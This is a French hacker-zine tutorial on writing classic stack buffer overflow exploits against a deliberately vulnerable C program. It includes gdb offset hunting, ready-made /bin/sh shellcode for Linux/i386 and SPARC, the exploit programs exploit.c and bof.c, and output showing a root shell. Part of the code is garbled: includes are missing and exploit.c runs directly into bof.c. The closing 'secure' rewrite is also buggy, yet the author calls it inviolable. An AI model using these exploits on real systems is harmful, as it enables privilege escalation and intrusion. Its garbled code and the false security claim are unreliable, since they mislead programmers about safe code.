--------------------------------------------------------------- IV.: HOW TO WRITE A BUFFER OVERFLOW Par groslameur --------------------------------------------------------------- [ Introduction ] Le buffer overlow est sans doute la faille la plus appréciée de nos jours, son exploitation fait la joie de certains script kiddies, qui malheuresement compilent et executent leur exploit sans aucune idée de "comment a t-il été codé". Ce document au- -ra donc comme dure tache de vous introduire (car c'est plus une introduction qu'autre chose) à l'écriture de ce type de pro- -grammes. Vous verrez, ce n'est pas aussi compliqué que ça en a l'air, toutefois, si vous désirez aller plus loin, je vous con- -seille de consulter l'article de Aleph1 paru dans Phrack49 et intitulé "Smashing the stack for fun and profit". Je ne vous demande rien d'autre qu'un peu d'attention et quelques bonnes bases en c/asm. Vous pouvez toutefois essayer de suivre sans. [ Presentation de l'exploit ] Nous allons donc apprendre à coder le plus bel exploit de l'homme, j'ai nommé le buffer overflow. En résumé, un buffer overflow, ou débordement de tampon, se produit à partir du mo- -ment ou l'on cherche à entrer plus de données qu'il n'est per- -mis dans un espace de mémoire, le buffer (tampon). L'exploi- -tation de ce type d'erreurs va donc se faire en essayant de détourner le fonctionnement d'un programme vulnérable, par le biais de fonctions sensibles comme on le verra tout à l'heure afin de lui faire executer un code de notre choix. Au plan de vue technique, le registre %eip est overwrité, et au moment de retourner, le programme peut executer un code hostile, le shellcode. L'écriture d'un exploit pour ce type de vulnérabilité nécessite déjà de bonnes connaissances en c et en asm 32b. Déjà, petite mise au point: La stack, ou pile, est un bloc de mémoire contenant des données, composée si on veux de "tiroirs" que l'on pousse quand on apelle une fonction, et que l'on tire quand on la retourne. Ces tirois s'apellent les stack frames, et ils contiennent les paramètres des fonctions, les variables qu'elle englobe. Comme un petit schéma vaut mieux qu'un long discours, je vous propose pour illustrer mes propos ce dessin, présentant les différentes régions de la mémoire d'un processus : /------------------\ Adresse mémoire | | la plus basse | Texte | | | |------------------| | (Initialisées) | | Données | (non initialisées) | |------------------| | | | Stack | Adresse mémoire | | la plus haute \------------------/ Ci dessus, la stack, dont on vient de parler un peu plus haut, ainsi que les données, contenant les variables utilisées par le programme, et tout en haut la zone texte, sur laquelle on ne peut pas écrire, et qui contient le programme en lui même, et tous les éléments qui le composent. Intéressons nous maintenant aux différents registres asm 32b permettant de manipuler ces régions mémoire : - %eax : Le registre accumulateur, qui, comme ax dans les registres 16b, peut servir un peu à tout, nottament aux calculs mathématiques. - %ebx : Le registre de base, lors de l'appel d'une fonction système, on doit lui passer le premier paramètre de cette fonction. - %ecx : Le second registre de base, auquel on passe notre second paramètre. - %edx : Le troisième registre de base, pour le troisième paramètre. - %eip : Ce registre pointe vers la prochaine instruction à executer, nous allons souvent y revenir lors de l'écriture d'un buffer overflow. - %esp : C'est le registre qui pointe tout en haut de la pile. - %ebp : C'est le registre qui pointe au début de la zone de la pile servant à la fonction courante. On l'utilisera pour accèder aux variables locales. Il existe d'autres registres 32b, mais nous nous interesserons qu'a ceux ci pour le moment. Les buffer overflow sont en fait propres à un programme sensible, et plus particulièrement aux fonctions du langage C sensibles, telles que strcpy(), strcat(), etc.. qui ne controlent pas les quantités de mémoires restantes avant de copier le contenu d'une variable dans un espace mémoire. Nous apprendrons donc au fil de cet article à coder un exploit approprié à une de ces fonctions faillibles. Pour le moment revenons à nos moutons... Et considérons l'appel de fonction suivant : ------------------------------------------------------------------ void function(int a, int b, int c) { (..) } main() { function(1,2,3); } ------------------------------------------------------------------ Si nous déssasemblons la fonction main, nous obtiendrons ceci : ------------------------------------------------------------------ pushl $3 pushl $2 pushl $1 call function ------------------------------------------------------------------ L'instruction push place les arguments 3, 2 et 1 en haut de la pile, puis l'instruction call empile le registre %eip. Plus techniquement, lors de l'appel d'une fonction en C, le processeur sauvegarde les variables déclarées ou servant d'arguments à une fonction dans la pile, ainsi que le contenu du registre %eip, qui rapellons le, pointe vers la prochaine instruction à executer. Et c'est là qu'est tout l'art d'un débordement de tampon, overwriter l'image du registre %eip sauvegardée dans la stack, afin de pouvoir exe- -cuter l'instruction de son choix, à savoir le fameux shellcode (oeuf), dont le but sera le plus souvent de vous donner un shell. Pour être plus clair dans mes explications, voici un petit dessin représentant la pile d'un programme vulnérable: [buffer,n][%ebp=Base Pointer][%eip=Instruction Pointer] Pour exploiter ce programme, nous devrons avoir la possibilité d'écrire autant de caractères que l'on désire dans le buffer. Si vous avez bien suivi vous savez que cela est possible quand le programme utilise des fonctions qui ne surveillent pas la taille d'une chaine a copier dans un buffer par rapport à la taille de ce dernier (par exemple strcpy(buffer, argv[1]). Nous pourrons donc spécifier comme argument au programme une chaine de taille n+OFFSET, OFFSET représentant un déplacement en octet nécessaire pour accèder à %eip. Donc, une fois le contrôle sur %eip, libre à nous de modifier l'adresse de retour de notre fonction, que nous ferons pointer vers un shellcode ;) [ Rassemblement des paramètres ] Résumons... L'écriture d'un buffer overflow nécessite donc deux paramètres indispensables, que sont ceux ci : 1) La position de l'image du %eip sauvegardé dans la stack. 2) L'adresse du buffer à overwrité, chose évidente. Maintenant, la question qui tue : Comment connaître et rassem- -bler ces deux paramètres afin d'écrire notre exploit ? La réponse est simple, et tient en trois lettres : gdb, un désa- -ssembleur surpuissant intégré aux distributions linux. Donc, une fois toutes les clés en main, il ne vous reste plus qu'à suivre ce que je vous propose de lire... Nous allons prendre comme exemple le programme suivant : ------------------------------------------------------------------ /* vul.c */ #include #include int main(int argc, char *argv[]) { char buffer[128]; strcpy(buffer, argv[1]); } ------------------------------------------------------------------ Après la compilation (gcc vul.c -o vul), on va tenter d'executer le programme en lui passant une longue chaîne de caractères : ------------------------------------------------------------------ [root@localhost] $ ./vul AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA Segmentatation fault ------------------------------------------------------------------ Le programme segfault, ce qui confirme bien qu'il est sensible à un buffer overflow. On va donc chercher pour commencer l'a- -dresse du buffer à overwriter, à savoir buffer[128], pour cela on sort donc gdb : ------------------------------------------------------------------ [root@localhost] $ gdb vul (gdb) disas main (désassemblage de la fonction main) Dump of assembler code for function main: 0x8048490
: pushl %ebp (sauvegarde de %ebp) 0x8048491 : movl %esp,%ebp (prélude) 0x8048493 : subl $0x80,%esp 0x8048499 : movl 0xc(%ebp),%eax 0x804849c : addl $0x4,%eax 0x804849f : movl (%eax),%edx 0x80484a1 : pushl %edx 0x80484a2 : leal 0xffffff80(%ebp),%eax 0x80484a5 : pushl %eax 0x80484a6 : call 0x80483bc 0x80484ab : addl $0x8,%esp 0x80484ae : movl %ebp,%esp 0x80484b0 : popl %ebp (récupération de %ebp) 0x80484b1 ret End of assembler dump. ------------------------------------------------------------------ Premier objectif : Trouver l'adresse du buffer. On observe avant l'appel de la fonction strcpy() une empilation du registre %eax à l'adresse 0x80484a5, buffer étant le premier argument de strcpy(), il sera donc placé logiquement dans le registre %eax. On va donc tenter de récupérer l'adresse de buffer, en posant un breakpoint à l'adresse 0x80484a5. ------------------------------------------------------------------ (gdb) break *0x80484a5 (pose du breakpoint) Breakpoint 1 at 0x80484a5 (gdb) run (execution du programme) Starting program: /root/vul (no debugging symbol found)...(no debugging symbol found)... Breakpoint 1, 0x80484a5 in main () (gdb) info registers (on demande maintenant des infos sur les registres) eax: 0xbffffd68 - 1073742488 (pas la peine d'aller plus loin, seul eax nous interesse) ------------------------------------------------------------------ On récupère donc l'adresse du buffer, 0xbffffd68. La moitié du chemin est (presque) faite. Reste à trouver l'adresse de %eip avant l'appel de main(). Toujours avec gdb, on va overwriter %eip et tenter d'obtenir la distance (offset) entre le début du buffer et la position de %eip. ------------------------------------------------------------------ (gdb) run `perl -e "printf('A'x132)";echo BBBB` (ou 132 = 128 + 4, BBBB est donc une chaine de 4 caractères, le but étant d'overwriter avec précision le registre %eip) Starting program: /root/vul 'perl -e "printf('A'x132)";echo BBBB' Program receive signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (0x42 est égal à B, donc c'est bon) (gdb) info registers (vérifions les registres) (...) eip: 0x42424242 1111638594 (...) (bingo! le registre %eip contient 0x42424242, c'est à dire BBBB) ------------------------------------------------------------------ Cette phase est assez difficile à comprendre, mais avec un peu de logique, on parvient facilement à ses fins. Nous sa- -vons donc maintenant qu'en utilisant un offset de 132 par rapport à l'adresse du buffer, BBBB, autrement dit 0x42424242, overwrite bien %eip. Dans notre exploit, pour écraser l'adresse de retour de strcpy (afin qu'elle pointe vers le shellcode), nous utiliserons donc une chaine telle que 'chaine[OFFSET+4]', ou OFFSET=132 et 4 correspond à la chaîne de 4 caractères permettant l'overwrite (dans notre exemple BBBB). Nous avons donc toutes les clés en main ! Sauf... L'oeuf, le shellcode qui sera censé nous donner un shell root ! Ok, let's go ! [ Ecriture du shellcode ] Cette phase n'est en réalité pas vraiment nécessaire car on peut facilement trouver des shellcodes sur internet correspon- -dant à des architectures différentes. Cependant on va tout de même étudier dans ce chapitre le processus de création d'un oeuf. Le principe en lui même est en réalité extrémement simple. On code d'abord le programme en c capable de nous donner le shell root, puis on le désassemble avec gdb (disas main). Après quoi on regarde les instructions asm correspondantes, et on cherche les opcodes en utilisant la commande sous gdb "x", et on les note. On assemble ensuite tous nos opcodes pour fabriquer un shellcode du style \x90\.../bin/sh. La coutume veut en effet que l'on place une quantité de x90 avant le shellcode propre- -ment dit, correspondant à l'instruction nop (no operation) afin que, si au moment de retourner, l'exploit fait un bond au milieu du shellcode et qu'il tombe sur un x90, le code qui suit sera tout de même executer. Cela dit la copie des nops dans le shellcode se fera par l'exploit lui-même. A noter également qu'un shellcode ne peut contenir d'octets nuls, x00. Plutôt que de vous montrer étape par étape comment créer un shellcode, je vous propose plutôt ces différents shellcodes, pré-écrits, tirés de phrack. Bonne lecture ;) i386/Linux - jmp 0x1f popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 call -0x24 .string \"/bin/sh\" Shellcode correspondant : "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; SPARC/Solaris - sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 ta 8 xor %o7, %o7, %o0 mov 1, %g1 ta 8 Shellcode correspondant : "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"; SPARC/SunOS - sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 mov -0x1, %l5 ta %l5 + 1 xor %o7, %o7, %o0 mov 1, %g1 ta %l5 + 1 Shellcode correspondant : "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01"; V) Ecriture de l'exploit Une fois tous les paramètres réunis, c'est à dire le shell- -code, la position de %eip et l'adresse du buffer, il est très facile d'écrire l'exploit. Pour le programme vul.c, voici ce qu'il pourrait donner : ------------------------------------------------------------------ /* exploit.c */ #include #define OFFSET 132 /* Shellcode pour Linux/i386 */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; main() { int i, j; /* La chaine servant à overwriter %eip */ char chaine[OFFSET+4]; /* Copie les x90 dans la chaine */ for(i=0;i<(OFFSET-sizeof(shellcode));i++) chaine[i] = 0x90; /* Copie le shellcode dans la chaine */ for(i=i,j=0;i #include #define DEFAULT_OFFSET 0 #define NOP 0x90 /* Shellcode pour Linux/i386 */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long getsp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int bsize, offset=DEFAULT_OFFSET; int i; /* Récupération des arguments passés au programmes */ if(argc < 2) { fprintf(stderr, "usage: %s -taille- -offset\n", argv[0]); exit(-1); } bsize = atoi(argv[1]); if(!argv[2]) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { fprintf(stderr, "Allocation mémoire impossible\n"); exit(-1); } addr = getsp() - offset; printf("\nAdresse du buffer à exploiter: 0x%x\n", addr); printf("Taille de la chaîne d'overflood: %d\n", bsize); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; /* Copie les nops dans la chaîne d'overflood */ for (i = 0; i < bsize/2; i++) buff[i] = NOP; /* Copie le shellcode dans la chaîne d'overflood */ ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; /* Placement de la chaîne dans la variable d'environnement $EGG */ memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------ Et si on testait ? Généralement on prendra comme adresse de notre chaîne d'overflood une taille environ plus grande de 100 octets que celle du buffer que nous voulons exploiter. Egalement, si vous vous trompez sur l'offset, cela n'aura peut être pas de conséquence étant donner que si, au moment de retourner, le programme vulnérable tombe au milieu de notre shellcode, vu les nops placés avant celui-ci, le code qui suit devrait tout de même être executé. Voici maintenant un nouvel exemple d'exploitation de vul.c, : $ gcc bof.c -o bof $ ./bof usage: ./bof -taille- -offset $ ./bof 100 100 Adresse du buffer à exploier: 0xbffffdc4 Taille de la chaîne d'overflood: 100 $ ./vul $EGG Segmentation fault $ exit $ ./bof 228 Adresse du buffer à exploiter: 0xbffffd68 Taille de la chaîne d'overflood: 228 $ ./vul $EGG # echo ;) bash: syntax error near unexpected token `;)' Nous avons construit, en fonction des arguments donnés par l'utilisateur,une chaîne qui nous servira à overflooder no- -tre buffer vulnérable. Cette chaîne a été placée dans une variable d'environnement, qui nous a servi d'argument pour le programme faillible. Résultat: %eip pointe sur notre shellcode, ce dernier est executé, et on obtient un shell root... L'exploit pourra bien entendu nous servir dans d'autres cas de figures, cependant nous nous limiterons à cet exemple. [ Se protéger des buffer overflow ] En effet, comme nous l'avons vu un exploit pour buffer over- -flow est simple à coder, et encore plus simple à faire fonc- -tionner... Tous vos programmes peuvent être sensibles à ce type d'exploit, à partir du moment ou vous utiliser des fonc- -tions sensibles, strcpy(), strcat, gets(), etc... Ces erreurs de programmation peuvent être corrigées gràace à l'utilisation de fonctions équivalentes plus sécurisées, telles que strncpy, ainsi que l'utilisation conjointe des fonctions dynamiques d'allocations mémoires que sont free(), malloc(), realloc(), etc... Nous allons donc reprendre dans ce chapitre le programme vul.c afin d'en coder son équivalent sécurisé ! Voici à quoi ressemble vul.c : ------------------------------------------------------------------ /* vul.c */ #include #include int main(int argc, char *argv[]) { char buffer[128]; strcpy(buffer, argv[1]); } ------------------------------------------------------------------ Et voilà à quoi pourrait ressembler son équivalent sécurisé : ------------------------------------------------------------------ /* invul.c */ #include #include #include int main(int argc, char *argv[]) { char buffer[128]; char *ptr; if (argc < 2) { exit(0); } ptr = malloc(strlen(buffer) + 1); if (ptr == NULL) { exit(1); } else { strncpy(ptr, argv[1], 127); free(ptr); } exit(0); } ------------------------------------------------------------------ Certes, c'est beaucoup plus long que le programme précédent mais ce type de code reste inviolable. Il faut souffrir pour être sécurisé... Autre chose encore : N'utilisez jamais la fonction gets(), d'ailleurs au moment de la compilation vous recevrez un avertissement, cette fonction est certainement la plus dangeurese de toutes, vous risquez de vous faire hacker en deux trois mouvements si vous l'utilisez... Certes, je n'ai pas à influencer vos méthodes de programmation ni à vous dic- -ter ce que vous devez et ce que vous ne devez pas faire mais prenez garde à vos programmes... [-EOF]